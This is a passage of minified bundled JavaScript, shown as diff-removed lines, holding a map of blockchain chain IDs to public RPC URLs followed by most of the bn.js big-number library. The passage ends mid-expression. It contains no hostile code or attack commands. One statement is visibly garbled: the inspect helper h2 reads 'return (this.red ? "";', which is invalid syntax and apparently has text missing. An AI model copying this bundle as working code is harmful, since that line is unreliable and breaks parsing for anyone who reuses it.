23294: ["https://1rpc.io/oasis/sapphire"], 24484: [], 24734: ["https://node1.mintme.com"], 31102: [], 32520: ["https://rpc.icecreamswap.com", "https://nodes.vefinetwork.org/bitgert", "https://flux-rpc.brisescan.com", "https://flux-rpc1.brisescan.com", "https://flux-rpc2.brisescan.com", "https://rpc-1.chainrpc.com", "https://rpc-2.chainrpc.com", "https://node1.serverrpc.com", "https://node2.serverrpc.com"], 32659: ["https://mainnet.fusionnetwork.io"], 34443: ["https://1rpc.io/mode"], 35011: [], 35441: [], 39797: ["https://nodeapi.energi.network", "https://explorer.energi.network/api/eth-rpc"], 39815: ["https://mainnet.oho.ai", "https://mainnet-rpc.ohoscan.com", "https://mainnet-rpc2.ohoscan.com"], 42069: [], 42161: ["https://arb1.arbitrum.io/rpc", "https://arbitrum.llamarpc.com", "https://1rpc.io/arb", "https://arb-pokt.nodies.app", "https://endpoints.omniatech.io/v1/arbitrum/one/public", "https://arbitrum-one-rpc.publicnode.com", "https://arbitrum.meowrpc.com", "https://arbitrum.drpc.org", "https://rpc.tornadoeth.cash/arbitrum"], 42170: ["https://nova.arbitrum.io/rpc", "https://arbitrum-nova-rpc.publicnode.com", "https://arbitrum-nova.drpc.org"], 42220: ["https://forno.celo.org", "https://1rpc.io/celo"], 42262: ["https://emerald.oasis.dev/", "https://1rpc.io/oasis/emerald"], 43110: [], 43113: ["https://api.avax-test.network/ext/bc/C/rpc", "https://avalanchetestapi.terminet.io/ext/bc/C/rpc", "https://endpoints.omniatech.io/v1/avax/fuji/public", "https://avalanche-fuji-c-chain-rpc.publicnode.com"], 43114: ["https://api.avax.network/ext/bc/C/rpc", "https://avalanche.public-rpc.com", "https://avalancheapi.terminet.io/ext/bc/C/rpc", "https://avalanche-c-chain-rpc.publicnode.com", "https://1rpc.io/avax/c", "https://avax-pokt.nodies.app/ext/bc/C/rpc", "https://endpoints.omniatech.io/v1/avax/mainnet/public", "https://avax.meowrpc.com", "https://avalanche.drpc.org", "https://rpc.tornadoeth.cash/avax"], 45e3: ["https://rpc.autobahn.network"], 47805: ["https://rpc.rei.network"], 50001: ["https://rpc.oracle.liveplex.io"], 53935: ["https://avax-pokt.nodies.app/ext/bc/q2aTwKuyzgs8pynF7UXBZCU7DejbZbZ6EUyHr3JQzYgwNPUPi/rpc"], 55555: ["https://rei-rpc.moonrhythm.io"], 59140: [], 59144: ["https://1rpc.io/linea", "https://linea.drpc.org", "https://linea.decubate.com"], 63e3: ["https://rpc.ecredits.com"], 7e4: [], 70001: ["https://proxy1.thinkiumrpc.net/"], 70002: ["https://proxy2.thinkiumrpc.net/"], 70103: ["https://proxy103.thinkiumrpc.net/"], 71394: ["https://mainnet.godwoken.io/rpc/eth-wallet"], 80001: ["https://rpc-mumbai.maticvigil.com", "https://polygontestapi.terminet.io/rpc", "https://endpoints.omniatech.io/v1/matic/mumbai/public", "https://polygon-mumbai-bor-rpc.publicnode.com", "https://polygon-mumbai-pokt.nodies.app"], 81457: ["https://rpc.blast.io", "https://blast.din.dev/rpc", "https://blastl2-mainnet.public.blastapi.io", "https://blast.blockpi.network/v1/rpc/public"], 84531: ["https://1rpc.io/base-goerli", "https://base-goerli-rpc.publicnode.com", "https://endpoints.omniatech.io/v1/base/goerli/public"], 84532: ["https://rpc.notadegen.com/base/sepolia"], 99999: ["https://rpc.uschain.network"], 1e5: [], 100001: [], 100002: [], 100003: [], 100004: [], 100005: [], 100006: [], 100007: [], 100008: [], 103090: ["https://evm.cryptocurrencydevs.org", "https://rpc.crystaleum.org"], 108801: [], 11e4: [], 110001: [], 110002: [], 110003: [], 110004: [], 110005: [], 110006: [], 110007: [], 110008: [], 142857: [], 167008: [], 200625: ["https://boot2.akroma.org/"], 201018: ["https://openapi.alaya.network/rpc"], 210425: [], 246529: [], 256256: ["https://mainnet.block.caduceus.foundation"], 281121: [], 314159: [], 333999: ["https://rpc.polis.tech"], 363636: ["https://dgs-rpc.digitsoul.co.th"], 420420: ["https://mainnet.kekchain.com", "https://rpc2.kekchain.com", "https://kek.interchained.org", "https://kekchain.interchained.org"], 420666: ["https://testnet.kekchain.com"], 421613: ["https://endpoints.omniatech.io/v1/arbitrum/goerli/public", "https://arbitrum-goerli-rpc.publicnode.com", "https://api.stateless.solutions/arbitrum-one/v1/77abba85-53e4-4430-a332-a46deb9900ea"], 421614: [], 431140: ["https://rpc.markr.io/ext/"], 512512: ["https://galaxy.block.caduceus.foundation"], 534351: ["https://scroll-sepolia.drpc.org", "https://scroll-testnet.rpc.grove.city/v1/a7a7c8e2"], 534352: ["https://rpc.scroll.io", "https://rpc-scroll.icecreamswap.com", "https://1rpc.io/scroll", "https://scroll.drpc.org", "https://scroll-mainnet.rpc.grove.city/v1/a7a7c8e2"], 534353: [], 534354: ["https://prealpha-rpc.scroll.io/l2"], 827431: ["https://mainnet-rpc.curvescan.io"], 888888: ["https://infragrid.v.network/ethereum/compatible"], 9e5: ["https://api.posichain.org", "https://api.s0.posichain.org"], 955305: ["https://host-76-74-28-226.contentfabric.io/eth/"], 1313114: ["https://rpc.ethoprotocol.com"], 1313500: ["https://rpc.xerom.org"], 2099156: ["https://mainnet.plian.io/pchain"], 7762959: [], 8007736: ["https://mainnet.plian.io/child_0"], 10067275: ["https://testnet.plian.io/child_test"], 11155111: ["https://rpc.notadegen.com/eth/sepolia", "https://endpoints.omniatech.io/v1/eth/sepolia/public", "https://ethereum-sepolia-rpc.publicnode.com", "https://1rpc.io/sepolia"], 11155420: [], 13371337: [], 16658437: ["https://testnet.plian.io/testnet"], 18289463: [], 20181205: ["https://hz.rpc.qkiscan.cn", "https://rpc1.qkiscan.cn", "https://rpc2.qkiscan.cn", "https://rpc3.qkiscan.cn", "https://rpc1.qkiscan.io", "https://rpc2.qkiscan.io", "https://rpc3.qkiscan.io"], 28945486: [], 35855456: ["https://node.joys.digital"], 61717561: ["https://c.onical.org"], 88888888: ["https://rpc.teamblockchain.team"], 168587773: [], 192837465: ["https://mainnet.gather.network"], 245022926: ["https://devnet.neonevm.org"], 245022934: ["https://neon-proxy-mainnet.solana.p2p.org", "https://neon-mainnet.everstake.one"], 311752642: ["https://mainnet-rpc.oneledger.network"], 356256156: ["https://testnet.gather.network"], 486217935: ["https://devnet.gather.network"], 1122334455: [], 1313161554: ["https://mainnet.aurora.dev", "https://endpoints.omniatech.io/v1/aurora/mainnet/public", "https://1rpc.io/aurora", "https://aurora.drpc.org"], 1313161555: ["https://endpoints.omniatech.io/v1/aurora/testnet/public"], 1313161556: [], 16666e5: ["https://api.harmony.one", "https://a.api.s0.t.hmny.io", "https://api.s0.t.hmny.io", "https://1rpc.io/one", "https://hmyone-pokt.nodies.app", "https://endpoints.omniatech.io/v1/harmony/mainnet-0/public"], 1666600001: ["https://s1.api.harmony.one"], 1666600002: ["https://s2.api.harmony.one"], 1666600003: [], 16667e5: ["https://endpoints.omniatech.io/v1/harmony/testnet-0/public"], 2021121117: [], 3125659152: [], 11297108109: [], 836542336838601: [], 11297108099: [], 197710212030: ["https://rpc.ntity.io"], 6022140761023: ["https://molereum.jdubedition.com"] }; - } }); - var ol = rl({ "(disabled):buffer"() { - Al(), il(); - } }); - var sl = rl({ "node_modules/bn.js/lib/bn.js"(t2, e2) { - Al(), il(), function(t3, e3) { - function r4(t4, e4) { - if (!t4) - throw new Error(e4 || "Assertion failed"); - } - function n2(t4, e4) { - t4.super_ = e4; - var r5 = function() { - }; - r5.prototype = e4.prototype, t4.prototype = new r5(), t4.prototype.constructor = t4; - } - function A2(t4, e4, r5) { - if (A2.isBN(t4)) - return t4; - this.negative = 0, this.words = null, this.length = 0, this.red = null, null !== t4 && ("le" !== e4 && "be" !== e4 || (r5 = e4, e4 = 10), this._init(t4 || 0, e4 || 10, r5 || "be")); - } - var i2; - "object" == typeof t3 ? t3.exports = A2 : e3.BN = A2, A2.BN = A2, A2.wordSize = 26; - try { - i2 = "undefined" != typeof window && void 0 !== window.Buffer ? window.Buffer : ol().Buffer; - } catch (t4) { - } - function o2(t4, e4) { - var n3 = t4.charCodeAt(e4); - return n3 >= 48 && n3 <= 57 ? n3 - 48 : n3 >= 65 && n3 <= 70 ? n3 - 55 : n3 >= 97 && n3 <= 102 ? n3 - 87 : void r4(false, "Invalid character in " + t4); - } - function s2(t4, e4, r5) { - var n3 = o2(t4, r5); - return r5 - 1 >= e4 && (n3 |= o2(t4, r5 - 1) << 4), n3; - } - function a2(t4, e4, n3, A3) { - for (var i3 = 0, o3 = 0, s3 = Math.min(t4.length, n3), a3 = e4; a3 < s3; a3++) { - var c3 = t4.charCodeAt(a3) - 48; - i3 *= A3, o3 = c3 >= 49 ? c3 - 49 + 10 : c3 >= 17 ? c3 - 17 + 10 : c3, r4(c3 >= 0 && o3 < A3, "Invalid character"), i3 += o3; - } - return i3; - } - function c2(t4, e4) { - t4.words = e4.words, t4.length = e4.length, t4.negative = e4.negative, t4.red = e4.red; - } - if (A2.isBN = function(t4) { - return t4 instanceof A2 || null !== t4 && "object" == typeof t4 && t4.constructor.wordSize === A2.wordSize && Array.isArray(t4.words); - }, A2.max = function(t4, e4) { - return t4.cmp(e4) > 0 ? t4 : e4; - }, A2.min = function(t4, e4) { - return t4.cmp(e4) < 0 ? t4 : e4; - }, A2.prototype._init = function(t4, e4, n3) { - if ("number" == typeof t4) - return this._initNumber(t4, e4, n3); - if ("object" == typeof t4) - return this._initArray(t4, e4, n3); - "hex" === e4 && (e4 = 16), r4(e4 === (0 | e4) && e4 >= 2 && e4 <= 36); - var A3 = 0; - "-" === (t4 = t4.toString().replace(/\s+/g, ""))[0] && (A3++, this.negative = 1), A3 < t4.length && (16 === e4 ? this._parseHex(t4, A3, n3) : (this._parseBase(t4, e4, A3), "le" === n3 && this._initArray(this.toArray(), e4, n3))); - }, A2.prototype._initNumber = function(t4, e4, n3) { - t4 < 0 && (this.negative = 1, t4 = -t4), t4 < 67108864 ? (this.words = [67108863 & t4], this.length = 1) : t4 < 4503599627370496 ? (this.words = [67108863 & t4, t4 / 67108864 & 67108863], this.length = 2) : (r4(t4 < 9007199254740992), this.words = [67108863 & t4, t4 / 67108864 & 67108863, 1], this.length = 3), "le" === n3 && this._initArray(this.toArray(), e4, n3); - }, A2.prototype._initArray = function(t4, e4, n3) { - if (r4("number" == typeof t4.length), t4.length <= 0) - return this.words = [0], this.length = 1, this; - this.length = Math.ceil(t4.length / 3), this.words = new Array(this.length); - for (var A3 = 0; A3 < this.length; A3++) - this.words[A3] = 0; - var i3, o3, s3 = 0; - if ("be" === n3) - for (A3 = t4.length - 1, i3 = 0; A3 >= 0; A3 -= 3) - o3 = t4[A3] | t4[A3 - 1] << 8 | t4[A3 - 2] << 16, this.words[i3] |= o3 << s3 & 67108863, this.words[i3 + 1] = o3 >>> 26 - s3 & 67108863, (s3 += 24) >= 26 && (s3 -= 26, i3++); - else if ("le" === n3) - for (A3 = 0, i3 = 0; A3 < t4.length; A3 += 3) - o3 = t4[A3] | t4[A3 + 1] << 8 | t4[A3 + 2] << 16, this.words[i3] |= o3 << s3 & 67108863, this.words[i3 + 1] = o3 >>> 26 - s3 & 67108863, (s3 += 24) >= 26 && (s3 -= 26, i3++); - return this._strip(); - }, A2.prototype._parseHex = function(t4, e4, r5) { - this.length = Math.ceil((t4.length - e4) / 6), this.words = new Array(this.length); - for (var n3 = 0; n3 < this.length; n3++) - this.words[n3] = 0; - var A3, i3 = 0, o3 = 0; - if ("be" === r5) - for (n3 = t4.length - 1; n3 >= e4; n3 -= 2) - A3 = s2(t4, e4, n3) << i3, this.words[o3] |= 67108863 & A3, i3 >= 18 ? (i3 -= 18, o3 += 1, this.words[o3] |= A3 >>> 26) : i3 += 8; - else - for (n3 = (t4.length - e4) % 2 == 0 ? e4 + 1 : e4; n3 < t4.length; n3 += 2) - A3 = s2(t4, e4, n3) << i3, this.words[o3] |= 67108863 & A3, i3 >= 18 ? (i3 -= 18, o3 += 1, this.words[o3] |= A3 >>> 26) : i3 += 8; - this._strip(); - }, A2.prototype._parseBase = function(t4, e4, r5) { - this.words = [0], this.length = 1; - for (var n3 = 0, A3 = 1; A3 <= 67108863; A3 *= e4) - n3++; - n3--, A3 = A3 / e4 | 0; - for (var i3 = t4.length - r5, o3 = i3 % n3, s3 = Math.min(i3, i3 - o3) + r5, c3 = 0, h3 = r5; h3 < s3; h3 += n3) - c3 = a2(t4, h3, h3 + n3, e4), this.imuln(A3), this.words[0] + c3 < 67108864 ? this.words[0] += c3 : this._iaddn(c3); - if (0 !== o3) { - var g3 = 1; - for (c3 = a2(t4, h3, t4.length, e4), h3 = 0; h3 < o3; h3++) - g3 *= e4; - this.imuln(g3), this.words[0] + c3 < 67108864 ? this.words[0] += c3 : this._iaddn(c3); - } - this._strip(); - }, A2.prototype.copy = function(t4) { - t4.words = new Array(this.length); - for (var e4 = 0; e4 < this.length; e4++) - t4.words[e4] = this.words[e4]; - t4.length = this.length, t4.negative = this.negative, t4.red = this.red; - }, A2.prototype._move = function(t4) { - c2(t4, this); - }, A2.prototype.clone = function() { - var t4 = new A2(null); - return this.copy(t4), t4; - }, A2.prototype._expand = function(t4) { - for (; this.length < t4; ) - this.words[this.length++] = 0; - return this; - }, A2.prototype._strip = function() { - for (; this.length > 1 && 0 === this.words[this.length - 1]; ) - this.length--; - return this._normSign(); - }, A2.prototype._normSign = function() { - return 1 === this.length && 0 === this.words[0] && (this.negative = 0), this; - }, "undefined" != typeof Symbol && "function" == typeof Symbol.for) - try { - A2.prototype[Symbol.for("nodejs.util.inspect.custom")] = h2; - } catch (t4) { - A2.prototype.inspect = h2; - } - else - A2.prototype.inspect = h2; - function h2() { - return (this.red ? ""; - } - var g2 = ["", "0", "00", "000", "0000", "00000", "000000", "0000000", "00000000", "000000000", "0000000000", "00000000000", "000000000000", "0000000000000", "00000000000000", "000000000000000", "0000000000000000", "00000000000000000", "000000000000000000", "0000000000000000000", "00000000000000000000", "000000000000000000000", "0000000000000000000000", "00000000000000000000000", "000000000000000000000000", "0000000000000000000000000"], u2 = [0, 0, 25, 16, 12, 11, 10, 9, 8, 8, 7, 7, 7, 7, 6, 6, 6, 6, 6, 6, 6, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5], l2 = [0, 0, 33554432, 43046721, 16777216, 48828125, 60466176, 40353607, 16777216, 43046721, 1e7, 19487171, 35831808, 62748517, 7529536, 11390625, 16777216, 24137569, 34012224, 47045881, 64e6, 4084101, 5153632, 6436343, 7962624, 9765625, 11881376, 14348907, 17210368, 20511149, 243e5, 28629151, 33554432, 39135393, 45435424, 52521875, 60466176]; - A2.prototype.toString = function(t4, e4) { - var n3; - if (e4 = 0 | e4 || 1, 16 === (t4 = t4 || 10) || "hex" === t4) { - n3 = ""; - for (var A3 = 0, i3 = 0, o3 = 0; o3 < this.length; o3++) { - var s3 = this.words[o3], a3 = (16777215 & (s3 << A3 | i3)).toString(16); - i3 = s3 >>> 24 - A3 & 16777215, (A3 += 2) >= 26 && (A3 -= 26, o3--), n3 = 0 !== i3 || o3 !== this.length - 1 ? g2[6 - a3.length] + a3 + n3 : a3 + n3; - } - for (0 !== i3 && (n3 = i3.toString(16) + n3); n3.length % e4 != 0; ) - n3 = "0" + n3; - return 0 !== this.negative && (n3 = "-" + n3), n3; - } - if (t4 === (0 | t4) && t4 >= 2 && t4 <= 36) { - var c3 = u2[t4], h3 = l2[t4]; - n3 = ""; - var f3 = this.clone(); - for (f3.negative = 0; !f3.isZero(); ) { - var p3 = f3.modrn(h3).toString(t4); - n3 = (f3 = f3.idivn(h3)).isZero() ? p3 + n3 : g2[c3 - p3.length] + p3 + n3; - } - for (this.isZero() && (n3 = "0" + n3); n3.length % e4 != 0; ) - n3 = "0" + n3; - return 0 !== this.negative && (n3 = "-" + n3), n3; - } - r4(false, "Base should be between 2 and 36"); - }, A2.prototype.toNumber = function() { - var t4 = this.words[0]; - return 2 === this.length ? t4 += 67108864 * this.words[1] : 3 === this.length && 1 === this.words[2] ? t4 += 4503599627370496 + 67108864 * this.words[1] : this.length > 2 && r4(false, "Number can only safely store up to 53 bits"), 0 !== this.negative ? -t4 : t4; - }, A2.prototype.toJSON = function() { - return this.toString(16, 2); - }, i2 && (A2.prototype.toBuffer = function(t4, e4) { - return this.toArrayLike(i2, t4, e4); - }), A2.prototype.toArray = function(t4, e4) { - return this.toArrayLike(Array, t4, e4); - }; - function f2(t4, e4, r5) { - r5.negative = e4.negative ^ t4.negative; - var n3 = t4.length + e4.length | 0; - r5.length = n3, n3 = n3 - 1 | 0; - var A3 = 0 | t4.words[0], i3 = 0 | e4.words[0], o3 = A3 * i3, s3 = 67108863 & o3, a3 = o3 / 67108864 | 0; - r5.words[0] = s3; - for (var c3 = 1; c3 < n3; c3++) { - for (var h3 = a3 >>> 26, g3 = 67108863 & a3, u3 = Math.min(c3, e4.length - 1), l3 = Math.max(0, c3 - t4.length + 1); l3 <= u3; l3++) { - var f3 = c3 - l3 | 0; - h3 += (o3 = (A3 = 0 | t4.words[f3]) * (i3 = 0 | e4.words[l3]) + g3) / 67108864 | 0, g3 = 67108863 & o3; - } - r5.words[c3] = 0 | g3, a3 = 0 | h3; - } - return 0 !== a3 ? r5.words[c3] = 0 | a3 : r5.length--, r5._strip(); - } - A2.prototype.toArrayLike = function(t4, e4, n3) { - this._strip(); - var A3 = this.byteLength(), i3 = n3 || Math.max(1, A3); - r4(A3 <= i3, "byte array longer than desired length"), r4(i3 > 0, "Requested array length <= 0"); - var o3 = function(t5, e5) { - return t5.allocUnsafe ? t5.allocUnsafe(e5) : new t5(e5); - }(t4, i3); - return this["_toArrayLike" + ("le" === e4 ? "LE" : "BE")](o3, A3), o3; - }, A2.prototype._toArrayLikeLE = function(t4, e4) { - for (var r5 = 0, n3 = 0, A3 = 0, i3 = 0; A3 < this.length; A3++) { - var o3 = this.words[A3] << i3 | n3; - t4[r5++] = 255 & o3, r5 < t4.length && (t4[r5++] = o3 >> 8 & 255), r5 < t4.length && (t4[r5++] = o3 >> 16 & 255), 6 === i3 ? (r5 < t4.length && (t4[r5++] = o3 >> 24 & 255), n3 = 0, i3 = 0) : (n3 = o3 >>> 24, i3 += 2); - } - if (r5 < t4.length) - for (t4[r5++] = n3; r5 < t4.length; ) - t4[r5++] = 0; - }, A2.prototype._toArrayLikeBE = function(t4, e4) { - for (var r5 = t4.length - 1, n3 = 0, A3 = 0, i3 = 0; A3 < this.length; A3++) { - var o3 = this.words[A3] << i3 | n3; - t4[r5--] = 255 & o3, r5 >= 0 && (t4[r5--] = o3 >> 8 & 255), r5 >= 0 && (t4[r5--] = o3 >> 16 & 255), 6 === i3 ? (r5 >= 0 && (t4[r5--] = o3 >> 24 & 255), n3 = 0, i3 = 0) : (n3 = o3 >>> 24, i3 += 2); - } - if (r5 >= 0) - for (t4[r5--] = n3; r5 >= 0; ) - t4[r5--] = 0; - }, Math.clz32 ? A2.prototype._countBits = function(t4) { - return 32 - Math.clz32(t4); - } : A2.prototype._countBits = function(t4) { - var e4 = t4, r5 = 0; - return e4 >= 4096 && (r5 += 13, e4 >>>= 13), e4 >= 64 && (r5 += 7, e4 >>>= 7), e4 >= 8 && (r5 += 4, e4 >>>= 4), e4 >= 2 && (r5 += 2, e4 >>>= 2), r5 + e4; - }, A2.prototype._zeroBits = function(t4) { - if (0 === t4) - return 26; - var e4 = t4, r5 = 0; - return 8191 & e4 || (r5 += 13, e4 >>>= 13), 127 & e4 || (r5 += 7, e4 >>>= 7), 15 & e4 || (r5 += 4, e4 >>>= 4), 3 & e4 || (r5 += 2, e4 >>>= 2), 1 & e4 || r5++, r5; - }, A2.prototype.bitLength = function() { - var t4 = this.words[this.length - 1], e4 = this._countBits(t4); - return 26 * (this.length - 1) + e4; - }, A2.prototype.zeroBits = function() { - if (this.isZero()) - return 0; - for (var t4 = 0, e4 = 0; e4 < this.length; e4++) { - var r5 = this._zeroBits(this.words[e4]); - if (t4 += r5, 26 !== r5) - break; - } - return t4; - }, A2.prototype.byteLength = function() { - return Math.ceil(this.bitLength() / 8); - }, A2.prototype.toTwos = function(t4) { - return 0 !== this.negative ? this.abs().inotn(t4).iaddn(1) : this.clone(); - }, A2.prototype.fromTwos = function(t4) { - return this.testn(t4 - 1) ? this.notn(t4).iaddn(1).ineg() : this.clone(); - }, A2.prototype.isNeg = function() { - return 0 !== this.negative; - }, A2.prototype.neg = function() { - return this.clone().ineg(); - }, A2.prototype.ineg = function() { - return this.isZero() || (this.negative ^= 1), this; - }, A2.prototype.iuor = function(t4) { - for (; this.length < t4.length; ) - this.words[this.length++] = 0; - for (var e4 = 0; e4 < t4.length; e4++) - this.words[e4] = this.words[e4] | t4.words[e4]; - return this._strip(); - }, A2.prototype.ior = function(t4) { - return r4(!(this.negative | t4.negative)), this.iuor(t4); - }, A2.prototype.or = function(t4) { - return this.length > t4.length ? this.clone().ior(t4) : t4.clone().ior(this); - }, A2.prototype.uor = function(t4) { - return this.length > t4.length ? this.clone().iuor(t4) : t4.clone().iuor(this); - }, A2.prototype.iuand = function(t4) { - var e4; - e4 = this.length > t4.length ? t4 : this; - for (var r5 = 0; r5 < e4.length; r5++) - this.words[r5] = this.words[r5] & t4.words[r5]; - return this.length = e4.length, this._strip(); - }, A2.prototype.iand = function(t4) { - return r4(!(this.negative | t4.negative)), this.iuand(t4); - }, A2.prototype.and = function(t4) { - return this.length > t4.length ? this.clone().iand(t4) : t4.clone().iand(this); - }, A2.prototype.uand = function(t4) { - return this.length > t4.length ? this.clone().iuand(t4) : t4.clone().iuand(this); - }, A2.prototype.iuxor = function(t4) { - var e4, r5; - this.length > t4.length ? (e4 = this, r5 = t4) : (e4 = t4, r5 = this); - for (var n3 = 0; n3 < r5.length; n3++) - this.words[n3] = e4.words[n3] ^ r5.words[n3]; - if (this !== e4) - for (; n3 < e4.length; n3++) - this.words[n3] = e4.words[n3]; - return this.length = e4.length, this._strip(); - }, A2.prototype.ixor = function(t4) { - return r4(!(this.negative | t4.negative)), this.iuxor(t4); - }, A2.prototype.xor = function(t4) { - return this.length > t4.length ? this.clone().ixor(t4) : t4.clone().ixor(this); - }, A2.prototype.uxor = function(t4) { - return this.length > t4.length ? this.clone().iuxor(t4) : t4.clone().iuxor(this); - }, A2.prototype.inotn = function(t4) { - r4("number" == typeof t4 && t4 >= 0); - var e4 = 0 | Math.ceil(t4 / 26), n3 = t4 % 26; - this._expand(e4), n3 > 0 && e4--; - for (var A3 = 0; A3 < e4; A3++) - this.words[A3] = 67108863 & ~this.words[A3]; - return n3 > 0 && (this.words[A3] = ~this.words[A3] & 67108863 >> 26 - n3), this._strip(); - }, A2.prototype.notn = function(t4) { - return this.clone().inotn(t4); - }, A2.prototype.setn = function(t4, e4) { - r4("number" == typeof t4 && t4 >= 0); - var n3 = t4 / 26 | 0, A3 = t4 % 26; - return this._expand(n3 + 1), this.words[n3] = e4 ? this.words[n3] | 1 << A3 : this.words[n3] & ~(1 << A3), this._strip(); - }, A2.prototype.iadd = function(t4) { - var e4, r5, n3; - if (0 !== this.negative && 0 === t4.negative) - return this.negative = 0, e4 = this.isub(t4), this.negative ^= 1, this._normSign(); - if (0 === this.negative && 0 !== t4.negative) - return t4.negative = 0, e4 = this.isub(t4), t4.negative = 1, e4._normSign(); - this.length > t4.length ? (r5 = this, n3 = t4) : (r5 = t4, n3 = this); - for (var A3 = 0, i3 = 0; i3 < n3.length; i3++) - e4 = (0 | r5.words[i3]) + (0 | n3.words[i3]) + A3, this.words[i3] = 67108863 & e4, A3 = e4 >>> 26; - for (; 0 !== A3 && i3 < r5.length; i3++) - e4 = (0 | r5.words[i3]) + A3, this.words[i3] = 67108863 & e4, A3 = e4 >>> 26; - if (this.length = r5.length, 0 !== A3) - this.words[this.length] = A3, this.length++; - else if (r5 !== this) - for (; i3 < r5.length; i3++) - this.words[i3] = r5.words[i3]; - return this; - }, A2.prototype.add = function(t4) { - var e4; - return 0 !== t4.negative && 0 === this.negative ? (t4.negative = 0, e4 = this.sub(t4), t4.negative ^= 1, e4) : 0 === t4.negative && 0 !== this.negative ? (this.negative = 0, e4 = t4.sub(this), this.negative = 1, e4) : this.length > t4.length ? this.clone().iadd(t4) : t4.clone().iadd(this); - }, A2.prototype.isub = function(t4) { - if (0 !== t4.negative) { - t4.negative = 0; - var e4 = this.iadd(t4); - return t4.negative = 1, e4._normSign(); - } - if (0 !== this.negative) - return this.negative = 0, this.iadd(t4), this.negative = 1, this._normSign(); - var r5, n3, A3 = this.cmp(t4); - if (0 === A3) - return this.negative = 0, this.length = 1, this.words[0] = 0, this; - A3 > 0 ? (r5 = this, n3 = t4) : (r5 = t4, n3 = this); - for (var i3 = 0, o3 = 0; o3 < n3.length; o3++) - i3 = (e4 = (0 | r5.words[o3]) - (0 | n3.words[o3]) + i3) >> 26, this.words[o3] = 67108863 & e4; - for (; 0 !== i3 && o3 < r5.length; o3++) - i3 = (e4 = (0 | r5.words[o3]) + i3) >> 26, this.words[o3] = 67108863 & e4; - if (0 === i3 && o3 < r5.length && r5 !== this) - for (; o3 < r5.length; o3++) - this.words[o3] = r5.words[o3]; - return this.length = Math.max(this.length, o3), r5 !== this && (this.negative = 1), this._strip(); - }, A2.prototype.sub = function(t4) { - return this.clone().isub(t4); - }; - var p2 = function(t4, e4, r5) { - var n3, A3, i3, o3 = t4.words, s3 = e4.words, a3 = r5.words, c3 = 0, h3 = 0 | o3[0], g3 = 8191 & h3, u3 = h3 >>> 13, l3 = 0 | o3[1], f3 = 8191 & l3, p3 = l3 >>> 13, d3 = 0 | o3[2], I3 = 8191 & d3, y3 = d3 >>> 13, C3 = 0 | o3[3], m3 = 8191 & C3, B3 = C3 >>> 13, E3 = 0 | o3[4], w3 = 8191 & E3, v3 = E3 >>> 13, _3 = 0 | o3[5], Q2 = 8191 & _3, b2 = _3 >>> 13, k2 = 0 | o3[6], D2 = 8191 & k2, S2 = k2 >>> 13, N3 = 0 | o3[7], M2 = 8191 & N3, x2 = N3 >>> 13, F2 = 0 | o3[8], P2 = 8191 & F2, T2 = F2 >>> 13, R2 = 0 | o3[9], U2 = 8191 & R2, G2 = R2 >>> 13, H2 = 0 | s3[0], L2 = 8191 & H2, O2 = H2 >>> 13, Y2 = 0 | s3[1], K2 = 8191 & Y2, J2 = Y2 >>> 13, j2 = 0 | s3[2], z2 = 8191 & j2, q2 = j2 >>> 13, X2 = 0 | s3[3], V2 = 8191 & X2, W2 = X2 >>> 13, Z2 = 0 | s3[4], $2 = 8191 & Z2, tt2 = Z2 >>> 13, et2 = 0 | s3[5], rt2 = 8191 & et2, nt2 = et2 >>> 13, At2 = 0 | s3[6], it2 = 8191 & At2, ot2 = At2 >>> 13, st2 = 0 | s3[7], at2 = 8191 & st2, ct2 = st2 >>> 13, ht2 = 0 | s3[8], gt2 = 8191 & ht2, ut2 = ht2 >>> 13, lt2 = 0 | s3[9], ft2 = 8191 & lt2, pt2 = lt2 >>> 13; - r5.negative = t4.negative ^ e4.negative, r5.length = 19; - var dt2 = (c3 + (n3 = Math.imul(g3, L2)) | 0) + ((8191 & (A3 = (A3 = Math.imul(g3, O2)) + Math.imul(u3, L2) | 0)) << 13) | 0; - c3 = ((i3 = Math.imul(u3, O2)) + (A3 >>> 13) | 0) + (dt2 >>> 26) | 0, dt2 &= 67108863, n3 = Math.imul(f3, L2), A3 = (A3 = Math.imul(f3, O2)) + Math.imul(p3, L2) | 0, i3 = Math.imul(p3, O2); - var It2 = (c3 + (n3 = n3 + Math.imul(g3, K2) | 0) | 0) + ((8191 & (A3 = (A3 = A3 + Math.imul(g3, J2) | 0) + Math.imul(u3, K2) | 0)) << 13) | 0; - c3 = ((i3 = i3 + Math.imul(u3, J2) | 0) + (A3 >>> 13) | 0) + (It2 >>> 26) | 0, It2 &= 67108863, n3 = Math.imul(I3, L2), A3 = (A3 = Math.imul(I3, O2)) + Math.imul(y3, L2) | 0, i3 = Math.imul(y3, O2), n3 = n3 + Math.imul(f3, K2) | 0, A3 = (A3 = A3 + Math.imul(f3, J2) | 0) + Math.imul(p3, K2) | 0, i3 = i3 + Math.imul(p3, J2) | 0; - var yt2 = (c3 + (n3 = n3 + Math.imul(g3, z2) | 0) | 0) + ((8191 & (A3 = (A3 = A3 + Math.imul(g3, q2) | 0) + Math.imul(u3, z2) | 0)) << 13) | 0; - c3 = ((i3 = i3 + Math.imul(u3, q2) | 0) + (A3 >>> 13) | 0) + (yt2 >>> 26) | 0, yt2 &= 67108863, n3 = Math.imul(m3, L2), A3 = (A3 = Math.imul(m3, O2)) + Math.imul(B3, L2) | 0, i3 = Math.imul(B3, O2), n3 = n3 + Math.imul(I3, K2) | 0, A3 = (A3 = A3 + Math.imul(I3, J2) | 0) + Math.imul(y3, K2) | 0, i3 = i3 + Math.imul(y3, J2) | 0, n3 = n3 + Math.imul(f3, z2) | 0, A3 = (A3 = A3 + Math.imul(f3, q2) | 0) + Math.imul(p3, z2) | 0, i3 = i3 + Math.imul(p3, q2) | 0; - var Ct2 = (c3 + (n3 = n3 + Math.imul(g3, V2) | 0) | 0) + ((8191 & (A3 = (A3 = A3 + Math.imul(g3, W2) | 0) + Math.imul(u3, V2) | 0)) << 13) | 0; - c3 = ((i3 = i3 + Math.imul(u3, W2) | 0) + (A3 >>> 13) | 0) + (Ct2 >>> 26) | 0, Ct2 &= 67108863, n3 = Math.imul(w3, L2), A3 = (A3 = Math.imul(w3, O2)) + Math.imul(v3, L2) | 0, i3 = Math.imul(v3, O2), n3 = n3 + Math.imul(m3, K2) | 0, A3 = (A3 = A3 + Math.imul(m3, J2) | 0) + Math.imul(B3, K2) | 0, i3 = i3 + Math.imul(B3, J2) | 0, n3 = n3 + Math.imul(I3, z2) | 0, A3 = (A3 = A3 + 